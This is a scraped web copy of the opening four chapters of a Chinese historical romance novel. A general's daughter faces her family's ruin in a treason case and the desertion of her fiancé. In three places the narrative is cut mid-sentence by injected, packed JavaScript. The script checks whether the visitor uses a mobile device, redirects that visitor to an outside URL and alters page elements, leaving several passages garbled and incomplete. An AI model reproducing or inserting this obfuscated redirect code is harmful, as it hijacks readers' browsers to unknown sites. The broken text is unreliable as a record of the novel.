《醉卧关山》 1. 第 1 章 奉德五年的暮春,雨水比往年来得更多些。 辽东王谋反叛国的消息二月里传入京城,朝野哗然。朝廷一轮轮地清查逆党,西市处斩的血水一遍遍地被雨水冲刷。 牵扯进叛国大案的朝臣,仿佛沾染上瘟疫,朝中同僚们避之唯恐不及。 到了三月中,城西长淮巷的谢宅,成了最新的瘟疫。 * 三月十五凌晨。 大批甲胄鲜明的禁军出现在长淮巷口,团团围拢谢宅。一名紫袍大宦站在敞开的大门外,高声往门里喝问: “谢家丁口三十六人,名册俱全,清点下来少了谢氏嫡女明裳主仆两人,谢家妇刘氏一人,又少了家丁八人。大清早的,人都去何处了啊。” 谢夫人站在细雨庭院中央,不冷不热道:“我家丫头喜欢乱跑,家里管不着,谁知道去哪处了。黄公公差人四处寻寻看?” 姓黄的内监“嘿”了声,“咱家奉命清点丁口,还得替你家寻人?坐等着!谢家姑嫂两个归家,咱家回宫交差复命。人要不回来,咱家去圣上面前好好说道说道。” * 四更正。浓云压月。 南北御道街车马匆匆,都是赶着上朝的文武官员。 靠近御街边上,有座京城出名的梨花酒楼,每逢春夏交接,满庭院梨花盛开之时,生意最好。 伸出酒楼院墙的梨花枝下,有个早市馄饨摊。 摊子不大,只有两张木桌。 一张木桌挤挤挨挨坐满八名魁梧家仆。 谢明裳独坐在另一张木桌旁,瓷匙拨几下汤碗里的热馄饨,若有所思。 “我成瘟神了?一天天地躲我,去他家总找不到人。” 并未指名道姓,但隔壁木桌的家仆们都听得明白,愤然道:“杜家欺人太甚!” 谢明裳却不再提了。舀了舀馄饨汤,只道:“这家馄饨不错。空等人无趣,你们都吃些。” 暮春的天气已经不太冷,但夜里风大,她出来时还是披了件长披风,戴了风帽,从头到脚包裹得密密实实,只从手腕处露出半截品红色织金线的锦缎袄袖。 青葱般纤长的手边,放了一枝刚刚折下、带着露水的雪白梨花。 四更末,斜对着南北御街的青衣巷口,拐出来一行人。 几名长随提着灯笼前面引路,六品青袍打扮的年轻文官匆匆拨转缰绳,上了御街。 谢明裳盯着那文官公子的身影,手里搅动馄饨的动作停了。 她冲御街那边一颔首,吩咐众家仆: “从马上打下来。” 一阵呼啸风声,直奔马上的文官公子而去。 黑黝黝的东西打在肩背,咚地沉重声响。 文官公子被打得一个踉跄,差点栽下马,长随扑过来死死扯住马缰绳,才把人扶稳了。几个人惊怒交集,原地停下,四处找寻肇事人。 馄饨摊处传来一阵哄笑。街边阴影里走出来一个家仆,高声喝道,“杜二!” 被称作“杜二”的文官公子大名叫做杜幼清,出身清贵门第,父亲任职四品国子监祭酒。 敢在御街边上掷他的,除了和杜家定亲的谢家六娘,还有谁? 杜幼清捂着剧痛的肩头,回头怒道: “谢明裳!” 谢明裳放下瓷勺,接过帕子,仔细擦干净了手,冲街上勾了勾手指。 “下马,过来说话。” 杜幼清深吸口气,翻身下马。 杜家另一个长随在地上摸索了片刻,找到了袭击的物件,捧倒杜幼清面前。 哪里是什么暗器,分明是几个吃干净的大荔枝核儿。 杜幼清捂着肩膀痛处,两根手指掂起荔枝核儿,走到街边,把‘暗器’掷回谢明裳的怀里。 他今天刻意躲人,从偏门里出来,没想到还是被人抓了个正着,心里又惊又愧。 再定睛望去,谢明裳居然带着一群健壮家仆,就坐在人来人往的酒楼围墙边上,夜里也不知被多少人撞见了,满腹的惊愧,又转成了满腹的火气。 “尚未出阁的小娘子,夤夜不归。”杜幼清皱眉道,“成何体统。还不快趁夜回去。” 谢明裳不冷不热道,“急着回去做什么。等着官兵围门抄家么。” 杜幼清呼吸一窒,半晌才道,“事还有转机,尚不至如此。” 谢明裳轻笑了声, “骗我。若是谢家之事还有转机,你躲我做什么。” 杜幼清无话可说,最后只得道:“父亲嘱咐我最近当心。辽东王谋逆大案非同小可,若杜家也牵扯进去,如何能替你家奔走。” 谢明裳从木桌起身,几步走到街边,抬头望着杜幼清,“你有心替我家奔走?” 她在家里娇养惯了,向来喜欢鲜亮的颜色,今日虽然披了一身银灰披风,里面照样穿得鲜艳招摇。酒楼的灯笼烛火映照之下,品红色的袄裙衬得肌肤如雪,原本就明丽的眉眼,更加娇艳了几分。 杜幼清心里微微一漾,刚才当街挨打的怒气顿时消散了个干净。 “明珠儿。”他换了旧日熟谙的昵称,放缓了声调,低声劝慰她。 “我知道你几次找我。你莫怕,我和父亲确实正在为谢家奔走。谢家这次虽然牵连进了谋反大案,罪责应该不至于灭族,至多抄家流放。父亲说了,其中大有可操作之处。” 谢明裳的指尖摩挲着掌心的荔枝核儿,“你这话我听不懂了。如何操作,详细说说看看。” “一旦抄家,财帛身外之物,是不必再想的了。全族男丁流放,少不得一番奔波苦楚。但流放何处,是去东南州郡的厢兵营垦田,还是西北的荒漠之处戍边,其中大有门道。此其一。” “抄家后女眷的去处,我也问清楚了。”杜幼清的声音更低,“家里未出阁的小娘子,通常有三个去处。要么入宫为奴,要么入教坊为……为乐伎。要么通过官府,被人赎买。” 说到这里,他忽地有点心虚,不敢看面前人的眼睛,快速道: “ 明珠儿,这些时日我奔走疏通了不少门路,力求不将你没入宫掖为奴,更不会教你落入教坊,而是走官府赎买路子。届时,我定会赎买你。” 谢明裳站在御街边,有阵子没说话。 良久才笑了笑, “有意思。若不是今天来找你,我还不知,你替我如此打算。” 杜幼清的情绪也有几分起伏,跟上一步,急促道: “只是走个过场而已。我已经知会了京城的亲友同僚。杜家在京城交游甚广,家姐又嫁入了广陵王府,就算是公卿勋贵家的子弟,看在我的薄面上,定不会与我相争。明珠儿,你安心等我。” 谢明裳点点头,又想了一会儿, “你把我买下,我肯定做不成你的正妻了。以后,我就是你家奴婢?这便是你替我谋算的出路?” “这……”杜幼清涨红了脸。 谢明裳一抬手,杜幼清刚才吃了大苦头,惊得连忙倒退两步,迭声道,“你听我解释。除此之外,再无他法。“ 他本以为对面的骄纵脾气上来,又要当场发作,吩咐家仆动武,没想到她抬手,却只是伸手抹平了自己被风吹乱的衣袖。 谢明裳对他笑了一下,那笑容极清浅。 “其实,你这些天日日躲我,我便知道答案了。”她平静地道。 更深露重,一滴晶莹的露珠沾在谢明裳湿漉漉的长睫毛上,她眨了下眼,露珠滑落,仿佛一滴泪落了下来。 杜幼清的心尖一颤,急遽跳动了几下。 谢明裳的性子,他是了解的。谢枢密使接近四十岁才老树开花,生下谢明裳这女儿,父母哥哥一起娇宠到大,要月亮不给星星,养成了眼高于顶的脾性。 不管对方的家世再显赫,她看不上就是看不上,偌大个京城里,公侯显贵子弟,受过她白眼的,被她当面讽过的也不知多少。 偏偏她又长了副明艳照人的容貌,碰到不喜的人,连个正眼都不会落下。斜睨瞥过,起身就走,被她瞪的世家子还愣愣地在原地发呆。 从她十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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杜幼清急忙道,“事在人为。在京城行事,钱财还是其次,主要是看情面。” 他口口声声的看情面,谢明裳却不肯给他一个情面,直截了当道: “好个事在人为。你我早有婚约在身,你杜家想出手帮扶的话,早几日便该上门议婚了。如今压根不提,只谈什么赎买……怕我们谢家牵累了你们杜氏吧。” 杜幼清的脸色又蓦然涨得通红,嘴唇翕动几下,却没有吐出半个字来。 一阵死寂般的安静。 话题硬生生停在这里,两人再也无话可说。 谢明裳点点头,往后退了两步,“我知道了。” 掌心的荔枝核儿,被摩挲许久,沾染了人体体温,隐约发热。 “你我认识这么久,留个纪念罢。”谢明裳把荔枝核儿掷去对面,“京城少见的春荔枝,种在你家庭院里,运气好的话,十年八年或许能结果。” 说罢转身往对面的青衣巷里走去。 杜幼清追在后面喊了两声,她都没有应。 正好一阵风卷过长街,从酒楼里伸出庭院的梨树枝桠上簌簌落下了一地雪白的梨花来。 谢明裳踩着梨花走过御街,穿过青衣巷,之前月下承诺的一生一世,举案齐眉,犹如这满地梨花,俱被雨打风吹去了。 青衣巷深处缓缓行驶出一辆马车。兰夏含泪掀起车帘子,远远唤道:“娘子。” 谢明裳捏了捏兰夏胖嘟嘟的脸颊,“哭什么。我们谢家人不爱哭鼻子。”解下系带,把披风递给兰夏。 正踩着小凳上车,身后御街方向的地面忽地传来隐隐颤动。 谢明裳起先没在意。等马车起步,缓行到青衣巷和御街的交叉口时,御街远处的马蹄奔腾声响已到了近前。 赫然上百佩刀披甲轻骑,狂风暴雨般疾驰过宽敞御道。 轻骑由南向北直行,遇车马而不缓速,前方行驶的官员车马慌忙左右躲避不迭,骂声抱怨声不绝于耳。 谢家马车在巷口勒停,目送上百轻骑排成锥形护卫阵型,簇拥着当中一匹雄健黑马,马上的应是他们主将,远远地看不清身形,只见身后烟尘滚滚,笔直往北面的皇宫方向呼啸奔腾而去。 “御街不是禁驰马?”谢明裳放下车帘子,往后厢壁一靠。 “这是哪家入京复命的武将?胆子不小。大清早得罪满街的文臣,明天递进六部的弹劾奏本能淹了他。” 2. 第 2 章 马车沿着御街转过半圈。晨光映亮长街时,谢明裳领着兰夏,又站在梨花酒楼面前。 “贵客来早了。” 酒楼掌柜的开门过来招呼,“小店午时才开张。您看……” 谢明裳从荷包里掏出一枚沉甸甸的金锭,丢在柜台上。“我要一个靠窗临街雅阁子,二楼清净包场。能不能现在进店,够不够包半天的。” 能。当然能。 店家捧着大金锭掂了掂,足有二十两,“早晨半天啊,足够了足够了。” 黄澄澄的金锭砸下去,不仅叫酒楼今天提前开了张,坐在二楼最好的靠窗临街雅阁子,还附送了满满一桌的上好早点。 谢明裳把所有人全留在楼下,只带兰夏进二楼阁子。 直到窗边落座,兰夏纳闷地问:“我们不回家去,却来酒楼包场做什么呢。” 谢明裳并不急着回复,而是夹了个热腾腾的梅花汤饼,放进兰夏碗里,“跟我吹了整夜的风,难为你了。吃点热的吧。” 托腮想了一阵,才跟兰夏说: “京城门路广。杜家的路走不通了,我想找一找其他路子。” 兰夏似懂非懂地一点头,道,“不管情形如何,我们主仆总归在一起。” 谢明裳抿嘴笑了笑,拍拍她的手。 谢家从边关调入京城五年有余,她平日里随母亲走动赴宴,四品以上京官府邸的闺阁千金们认识的不少,结下交情的却不多。 倒不是她孤芳自赏,不屑于结交;而是本朝风气重文轻武,武将在朝中颇为不受待见。品级相同的文官和武将在京城街头狭路相逢,车马避让的必然是武将那边。 谢明裳的父亲以武勋出身,领兵镇守西北门户,半辈子在战场摸爬滚打,立下赫赫战功,终于在五十出头的年岁坐镇二品枢密使的高位,可以说是当朝武将第一人了。即便如此,从边关调入京城后,还是受尽文官鸟气。 朝中风气如此,自然会影响到京城的官宦夫人千金的交际圈子。 谢明裳和文官家的闺阁千金们,向来不多来往的。 这些年玩得最好的闺中密友,要算是长公主府上的端仪小郡主。 ——毕竟身份高到了宗室皇亲的地步,便不怎么在乎手帕交的家族出身,是文官武将,还是世家勋贵,只看脾气性情合不合了。 前些日子,朝中就有隐约的风声传出来,谢氏卷进辽东王谋逆案,这次要不好。 到了五日前的那次朝会时,果然御史台众言官同时发难,辞锋激烈地弹劾谢家父子。 端仪郡主探得了消息,急忙派人递口信给谢明裳。 仓促间无法定下确切的见面时辰,只约好今日晨间在御街边最显眼的梨花酒楼见面,不见不散;谁先到了,便在临街窗外插一支新鲜梨花。 谢明裳推开雕花木窗,把清晨折下的满枝梨花插在窗棂边,转回身坐下,开始吃朝食。 酒楼里的朝食置办得丰盛,小银碟摆了满桌。两人吃得半饱时,遮挡坐席的六扇锦缎山水屏风外传来一阵脚步声,有人从楼下踩着木梯上二楼。 兰夏纳闷咕哝着,“不是包场了吗。” 谢明裳却并不意外,放下筷子抬头去看。 有人屈指在屏风木座上叩了叩,从屏风外转进一个紫袍青年。 那人二十出头年纪,玉犀冠,绛紫暗花袍,眉宇间满是矜傲之气,一看便是勋贵家出身的子弟。 转过了屏风来,也不走近,只站在七八步外打量着谢明裳,半晌冲她一点头。 “我听说有人早上在御街边拦住杜二,说了好阵子话,杜二早朝都迟了。又听人描绘了形貌,就猜到是你。” 他从头到脚把人打量完,道:“为了堵杜二,整宿没睡?那你气色还不错。” 谢明裳的情绪早就平复下来,不急不忙夹了一块子菜: “你大清早横穿半个京城来城北,就为了跟我说一句气色不错?谬赞了,贺侯。” 来人正是城南武陵侯府的当家人,贺子浚。 贺子浚是谢家大公子的同窗好友,结拜义兄弟的交情。虽只有二十五六,已经袭了爵,平辈们见面要正经行礼,尊称一声“贺侯”了。 贺子浚跟谢家兄妹都熟识,彼此知根知底。坐下伸筷子也夹了个春卷儿,几口吃了,不再耽搁时间,直接道明来意: “你家的情势不好。打探来的消息,男丁只怕要流放三千里。” 他以筷子沾酒,在木桌上勾勒出一幅简陋的本朝疆域地图。 他以筷子沾茶水,在木桌上勾勒出一幅简陋的本朝疆域地图。 “以京城为中心,往南三千里,在岭南。东南三千里,在闽越。西南三千里,百瘴之地。非要在三者选其一,岭南是京官贬谪之地,你父亲有故旧好友在岭南,还是去岭南好。” 贺子浚以指腹将茶水地图抹去了,伸出筷子,又点了点谢明裳。 “至于你,杜二最近四处奔走,要把你通过官府赎买了,明眼人一看就知道他想什么。但要我说,他这事办的极不妥当。事办得顺利,也不是他自己的本事,只怕后面有人暗中推波助澜。” 兰夏在旁边奉茶,听到‘赎买’两个字,惊得茶杯掉在地上,咕噜噜滚出老远去。 谢明裳早有准备,面色倒是波澜不惊,接过兰夏手里的两杯茶,一杯推过去贺子浚面前,“怎么说。” “官员犯了事,家族女眷的去处,若要我说,最稳妥的还是入宫。走些门路,打声招呼,去内省六司清清静静做个女官,岂不是最好的结果。如果定下赎买,你落到谁手里,可就说不准了。” 谢明裳自己喝了口茶,平静反问:“杜二赎买不下?” 贺子浚嘲讽地一笑。 “杜家号称‘百年清贵世家’,呵,京城里犯了事,清贵何时管用过?杜二自己区区五品闲职,他父亲也不过是个四品国子监祭酒,主管着国子监生员的一亩三分地,朝中要紧的政务八竿子沾染不上。大家不好当面说他杜家没落了,见面了只得口头上赞一声清贵,他竟还当真了。” “杜二赎买不下,是钱不够还是面子不够?” “都差得远。” 贺子浚斩钉截铁道,“明珠儿,我跟你交个底,我这处备了五千两银,准备赎你家女眷。按理说足够了。但我身上的爵位不过是个祖上恩萌的二等候爵,京城的勋贵多如牛毛,若到了赎买当日,有哪家以势强夺,那就不是银钱的事了……我也只能退避三舍。”说罢端起茶杯,倒像是酒杯似的,一饮而尽。 谢明裳捧着茶杯想了一会儿,开口道谢,“已经做得足够多了。贺候诚心待谢家,我也实话和你说一句,这些准备都用不着。” 贺子浚一怔,抬起头来。 谢明裳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13399658|141215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻声和贺子浚透了几句底。 她父亲,谢家的当家之主:枢密使谢崇山,虽然和朝中文臣不怎么对付,但京城禁军中的许多将领和谢枢密使有交情。 就在昨天傍晚,一位姓常的马步禁军中郎将匆匆赶来谢宅,冒险泄露天机,说道: 圣意自有决断。 驳回了谢家女眷交钱赎买的提议。朝廷这两日便会发兵围谢宅,清点丁口。谢家女眷不是流放就是入宫。要谢家提前做好打算。 “有件事不瞒贺候。”谢明裳黑琉璃般的剔透眼睛注视过来, “我家嫂嫂上个月探出了身孕。孕相不稳,消息未传出家门。不管流放还是入宫,嫂嫂的孩儿怕保不住,嫂嫂自身的性命也有风险。” 贺子浚吃了一惊,几乎站起身,按捺着坐下。 “你阿兄这么大的事也不跟我说!” “这算什么大事。更大的还有,贺候敢不敢听?” 贺子浚:“你说!” 谢明裳抬手一指酒楼外停着的谢家马车,“嫂嫂昨夜随我出门,此刻人就在车里。我想送她出京。贺候,看在我阿兄和你多年的交情上,敢不敢帮?” 贺子浚咕噜噜又喝了几口闷茶,把茶盏砰地扔回桌上。“若要我隐匿谢家男丁,我还需斟酌斟酌。帮扶一把嫂夫人,只要谢家信得过我贺子浚,把人交给我。” 谢明裳长长地呼出口气。 从昨夜起就堵着的心头登时畅快了。 贺子浚原地闷坐了一阵,反过来劝解她。 “说起来,你父亲身上背着不少武勋。当年突厥大举南下侵袭,几乎酿下灭国之祸,好在你父亲悍勇,秋冬落雪季节领精兵翻越关陇道,千里驰援中原,追着突厥轻骑后头穷追猛打,这才有了后面的渭水大捷,把突厥驱赶回关外之事。” “天子当年困守京城,对千里驰援的你父亲必定留下深刻印象。倘若起了宽宥之心,你们谢家或许不会到那一步。嫂夫人的事交给我安排,回去告诉你阿兄,不必太过忧虑,吉人自有天相。” 说完留下自己的名刺,嘱咐事急时可以去城南侯府找他,告辞离去。 谢明裳和兰夏主仆俩坐在窗边,注视着谢家马车从路边转进小巷停住。很快跟来一辆小车,跳下两个小厮。 贺子浚亲自在巷口盯着,嫂嫂刘氏被贴身女使搀扶下车,悄无声息换坐去贺家小车里。 贺家马车缓行出巷时,不知为何却又停在路边。嫂嫂刘氏掀开半截车帘子,眼眶隐约含泪,仰头往梨花酒楼上方转来。 两边对视片刻,谢明裳冲大嫂微微而笑,挥了挥手。 兰夏紧张得吃不下,低声催促:“昨晚常将军的消息说,朝廷发兵围门就在这两天了。娘子,车在等你!寻到了出路,娘子赶紧跟着去……” 谢明裳不紧不慢地夹起春卷儿:“我不去。” 兰夏反应激烈地大喊:“为什么!”慌忙又降下音调,恳切道:“机会难得,娘子快走。” 谢明裳只摇头。 小车在街边苦等,谢明裳始终摇头,小车终于放弃等候,缓缓往城南行去。 “总算做成一桩事。不枉费整晚上折腾。” 谢明裳轻声感慨,夹起最后两只春卷儿,兰夏和自己的盘子里每人摆一只。 “再等一等端仪郡主。寻一寻谢家其他的路子。” 3. 第 3 章 谢明裳和兰夏主仆俩继续吃朝食。 才吃了没一会儿,却又有脚步声上了二楼,屏风外有人叩了口木座,问道,“谢家千金可在这处阁子。小的替我家主人送请帖来。” 谢明裳和兰夏互看一眼,兰夏起身出去,接过了请帖,双手奉给自家主人,纳闷道,“来的是个小厮,穿戴得倒是整齐。也不说是哪家府上的,直接把请帖塞过来就走。怎么这么无礼。” 谢明裳翻开请帖封皮,看了眼内容,直接合起,把请帖啪的扔去地上。 兰夏捡起翻看片刻,啊的惊呼道:“林相府上,林三郎的请帖?他不是去年求亲遭拒,放话下来,与我们谢氏老死不相往来了么。” 谢明裳抬手续了杯茶水,嘲讽地弯唇,“与谢氏老死不相往来,意思说他那边再不登门。却不耽误他送来帖子,叫我上门去求他。” 兰夏愣了片刻,反应过来,大怒骂道,“呸!癞蛤蟆想吃天鹅肉!就凭林三那文不成武不就的纨绔子,他也配想!” 直接把请帖扔进了纸篓。 没想到林三郎的请帖只是个开头。 陆陆续续,一上午功夫,又递来四五张请帖。 都是府上的小厮长随送上楼,什么话也不说,只把请帖递进,抬腿走人。 谢明裳翻了翻名字,有的认识,有的却很陌生。 其他几个倒也罢了,有一个裕国公家的世子,正经受了朝廷册封的国公府承爵人。论起家世身份,跟贺子浚的侯爵半径八两。 谢明裳盯着裕国公世子的请帖。 谢家的武将门第,是从祖父那辈开始,从边军士卒一步步摸爬滚打、实打实靠战功积累升上来的。虽然她爹位高权重,但三辈往上布衣出身,跟京城的开国勋贵们不是一个圈子。 她半晌也没回想起来,自己何时见过这位,怎么得罪的他。 如今谢家落难了,还特意送个帖子过来冷嘲暗讽,写好时辰地点,等自己上门苦苦央求。 多大仇多大恨这是。 谢明裳正对着满桌子的帖子琢磨,屏风外又有人叩了叩,这次送进一张红底黑字的名刺来。 谢明裳第一眼还以为看错,翻来覆去翻看几遍,硬生生给气笑了。 皇室姓“萧”,本朝尚红色,名刺底色正红,四角勾边的云纹套印了赭红色,署名处大剌剌地署上名刺主人引以为傲的‘萧’姓。 居然广陵王遣人送来的。 杜二的嫡亲姐姐嫁入的,岂不正是广陵王府。 杜幼清算是广陵王的妻弟,她跟杜幼清有婚约在身,如果早两个月嫁过去杜家的话,两边算正经亲戚。 如今谢家遭了事,杜家退缩不敢再提亲事,但两家婚约未退。广陵王这厮连面皮都不要了。 堂而皇之把自己的名刺送来酒楼,在空白处随手写了几行字,‘谢氏危矣’,邀她夜里‘登门商议''。 这些天家贵胄,不要脸起来,真是破廉耻。 谢明裳伸出手,掌心紧抵住胃部,微蹙起眉。 兰夏慌忙起身问,“怎么了娘子,是不是又犯胃疾了。” “没事,就是突然有点犯恶心……给我杯酒。” 不是外面酒楼售卖的酒,而是谢氏早几年千金求来的药方,自家家里酿的温补药酒。 谢明裳身子不大好,无论去何处,温补药酒都要随身带的。 她抿了口温酒,带着酒香的暖意滑下喉咙,直达胃里,感觉好多了。因为疼痛而略微发白的唇色恢复了几分浅淡血色。 她抬手把广陵王的名刺撕吧撕吧,往纸篓里一扔,吩咐兰夏坐去窗边,盯着御街上来往的车马,看看端仪郡主是不是快到了。 端仪郡主如今还没有出阁,住在母亲的长公主府。 长公主府的马车向来华丽气派,比普通马车大了两倍有余,车顶又有鎏金宝盖装饰,隔着老远就能认出来。 兰夏搬了个木凳坐在窗边,认认真真盯了好会儿,欣喜地一拍手,“端仪郡主来了!” 谢明裳过去窗边,居高临下望去,果然看见队伍前呼后拥,仪仗卫士开道,众多长公主府亲卫驱散了拥挤人群,仆婢以清水浇洒长街,一辆华贵马车缓缓行驶过洁净御道。 那驾鎏金宝盖顶的马车行过梨花酒楼,停在路边。车帘猛地从里掀开,露出端仪郡主惶急的面容。 谢明裳眼尖,一眼看到她这位闺中好友鼻尖通红,眼角还带着几滴泪,视线紧盯着酒楼临街窗外插着的那枝雪白梨花,眼巴巴往上四处张望。 谢明裳看见了人,端仪郡主那边也同时望见了她,两人的视线对上一瞬,端仪郡主急忙把手探出车外,冲着她晃了晃,什么还没来得及说,马车里却又伸出一只养尊处优、圆润白皙的手,毫不留情地把车帘子拉上了。 兰夏愣住,“这……郡主她明明看见我们了,为什么不下车啊。” 谢明裳眨了下浓黑的长睫。 “马车里不止她一个人。和郡主坐着的,定然是她母亲长公主。如今我家出了事……也许,长公主不希望我们再来往了。” 她伸手探出窗外,拔出了那枝依旧鲜妍怒放的梨花。 “见到人就好。”谢明裳摸着雪白的梨花瓣, “有这份心意就好。不枉我们相交一场。正好我有话想带给她。兰夏,你替我传几句话。” 谢明裳起身走到窗边,把半开的木窗左右完全打开,二楼窗外的满树雪白梨花随风簌簌地吹进来。 湘妃竹帘卷起半扇,她斜倚窗前,俯瞰御街人来人往的热闹景象,正在轻声叮嘱兰夏时,二楼木梯又传来了细微的脚步声。 扇屏木座再次被人‘笃笃’轻扣几声。 谢明裳回身望时,只见一名体面管事打扮的中年男子站在门边行礼,替主家传话道: “小人奉长公主吩咐,有几句话带给谢家千金。” “长公主殿下说,朝堂里的事,长公主府向来不理的。” 来人是长公主府的辰大管事,面相沉稳,谈吐有度,显然是经过大风浪的人。 他站在阁子门边,并不往里进,只管尽职尽责地转述长公主口谕: “虽然谢小娘子和我家郡主玩得好,但私交归私交,政事归政事。谢家在朝中出了事,殿下不想管,也管不着。郡主年纪太小不懂事,为了私交,竟然想往政事里插手,已经被长公主严厉斥责了。今日长公主殿下陪同郡主出城上香,谢小娘子想在酒楼等郡主的话,不必再等,请回罢。” 谢明裳早有心理准备,听完了也无什么反应,淡淡地应下。 “劳烦大管事带一句回话。长公主的叮嘱,明裳字字不落地听到了。明裳与端仪郡主相交一场,岂为了害她?殿下放心,不会为了谢家的事拖累郡主。” 辰大管事见她不怨不闹不恨天尤人,绷紧的脸色放松几分。 他没有转身离去复命,却绕过大屏风往里走,直到谢明裳身前两三步时才停下,又深深行了个礼。 “谢小娘子和我家郡主交好多年,不管外面如何风言风语,谢小娘子的品性,长公主这几年是看在眼里的。其实我家主人今日派遣小人过来,主要有个故事,想说给谢小娘子知道。” 几句话大大出乎意料,不只是兰夏瞪大了眼,就连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“长公主殿下亲笔手书的宜婚宗室子名单,请谢小娘子过目。” 谢明裳垂下眼,把手里的信笺打开。 言简意赅,一排齐整的名单。 十几个名字,全部皇室‘萧’姓,简单写明出身,年纪,在何处供职。 事情的转折太过荒谬,谢明裳居然有点想笑。 长公主毕竟身居高位惯了的,做事的风格简单粗暴,直接把京城里没有婚娶的宗室适龄男子姓名全写了下来,名单丢给她,叫她自己凭本事拉郎配。 她把信笺折起,放去桌上,说:“多谢长公主心意。多谢郡主关怀。我刚想传几句话给郡主,正好大管事来了,劳烦替我转达。” 辰大管事凝神细听。 谢明裳道:“昨晚传来的消息,这一两日朝廷就会发兵围了谢宅,出入困难,长公主的名单明裳只怕用不上。” “谢家之罪,至今还未定论。但趁机威逼欺压于我,试图仗势欺人的坏胚子们可是板上钉钉,有一个算一个,全在这里了。” 谢明裳指了指桌上摊开的六七张帖子。又过去把纸篓里撕碎的广陵王的名刺拼凑拼凑,塞给辰大管事。辰大管事震惊地捧在手里。 谢明裳拍拍手上的灰: “长公主府不沾染政务,朝臣家几个混账的帖子就不转交了。但广陵王是宗室子,并非朝臣。看在我和端仪平日的交情上,劳烦长公主给这坏胚子点教训吧。” 4. 第 4 章 辰大管事的背影消失在楼下。 谢明裳把长公主手书的信笺折成四折,抛给兰夏。 兰夏慌忙把信笺捞住了。 “哎,娘子!这可是长公主亲笔写的名单,千金难求的好东西。留着吧。说不定有大用。” 谢明裳道:“来不及了。” 兰夏到底没舍得把长公主的手书扔了,小心地收在荷包里。 “走罢。” 谢明裳今日没见到约好见面的人,却又接二连三遇到了意料之外的事,误打误撞也算办妥了好几桩,把剩下的半杯茶饮尽,起身便要下楼。 想了想,又转身走回窗前,盯着窗外盛放的满树梨花,出了会儿神。 兰夏以为她触情伤情,想起杜家二郎,心里一酸,幽幽地道, “娘子别难过了。去了旧人,才来新人。娘子值得更好的。” “胡想些什么。”谢明裳不客气地敲了她额头一记,看兰夏龇牙咧嘴,又伸手揉了揉,“我看梨花开得繁盛,在想着摘走两支。” 长公主面冷心热,嘴里说着不理朝中事,但还是遣人过来,又讲故事,又给名单的,给谢家指了一条出路。 虽然此路行不通,毕竟心意在。 这梨花酒楼也不知道以后能不能再来了。她想摘走两枝上好的梨花,给长公主和郡主送去,借花献佛,略表谢意。 “娘子想摘便摘呗。”兰夏嘀咕着,“黄澄澄的足金锭砸出去包个二楼阁子,带几支花走都不行?谁敢拦你,我去打下他的门牙!” 说的很对。 谢明裳理直气壮地召来家仆,把二楼窗户全都大开,竹帘卷到最高,窗外盛开的花枝挨个挑选过去。 “这支,不,那支更好看,对,远处凉棚子下的那支。” 家仆半个身子探到窗外,正在奋力掰扯时,楼下蓦然传来一声怒喝, “哪家狂奴当街撒野,扯得满树花瓣下雨似的往下掉,全掉我家主人身上了!” 那马车停在酒楼欢门边,车主人下车时,正巧被纷纷扬扬的花瓣浇了一身。 兰夏探头往下看清来人,立刻像被蛇咬了似的缩回来。 “呸!怎么又是这厮!阴魂不散!” 楼下的来客也抬头看见了兰夏,两边都认识,当即冷笑一声,高声道,“我当哪家豪奴,在天子脚下也敢撒野,原来是谢家的。” 御街上人潮汹涌,看热闹的也多。听人在酒楼门外高声喊了一嗓子,便有三三两两的人群聚集过来,指指点点。 酒楼临街,视野开阔,从谢明裳的角度往下望,一眼便看了个清楚。 难怪兰夏说阴魂不散。 来的不是旁人,正是早上刚送了请帖来的林相家三郎,林慕远。 去年求亲不成,号称和谢家老死不相往来的那个。 林慕远此人相貌倒也看得过去,就是嘴角无意识往下撇,仿佛全天下每人欠他五百贯似的;人站在酒楼欢门下,摆出一副矜贵姿态,偏偏眼风忍不住地往二楼上飘。 两边的视线一对上,谢明裳神色冷淡,将湘妃竹帘放下半卷,遮住了大半面容,只露出一小截雪白的精致下颌。 林慕远蓦然激动起来,抬脚就往酒楼大堂里奔。 谢明裳倚在窗边,连动都懒得动。 她昨夜带出来的八名家仆,都是她爹爹中军帐里退下来的的亲兵,个个真枪实刀血海里杀出来的,对付花拳绣腿的京城纨绔子弟,一个能打十个。 果然,没过片刻,林慕远连同他的几个小厮长随,被谢的健壮家仆架着手脚,挨个儿 ‘请’出了一楼大堂。 “对不住,我家主人包场。”领头的谢氏家仆客客气气地说,“郎君改日再来。” 酒楼掌柜的也赶过来,连连告饶,“实不敢怠慢贵客,楼上有客人包场了。二楼实不好上去的。” 林慕远冷笑连连,“笑话!派小厮送帖子都能送上去,现在林某亲自过来,居然还上不去二楼了?” 掌柜的也懵了,“既然已经派贵府小厮送了请帖,郎君怎么又亲自来了?” 林慕远噎了下,“我……” 门外看热闹的百姓越围越多,他自然没脸当众讲,早上听说谢家小娘子在梨花酒楼等人,他即刻送去请帖,坐等美人上门,梨花带雨地哭求自己英雄救美。 谢家眼看不行了,以他父亲林相的权势高位,赎买个罪臣之女,来个金屋藏娇,应该无妨的。 他这两天连打算藏娇的小院子都看好了! 坐在家中等来等去,却听说去梨花酒楼送帖子的人越来越多,京城有那么多混球敢觊觎他林三郎看中的人! 林慕远满肚子的龌龊心思说不出口,只冷笑往店里喊:“二楼被人包场了,一楼今天总没人包场吧!林家包下了!” 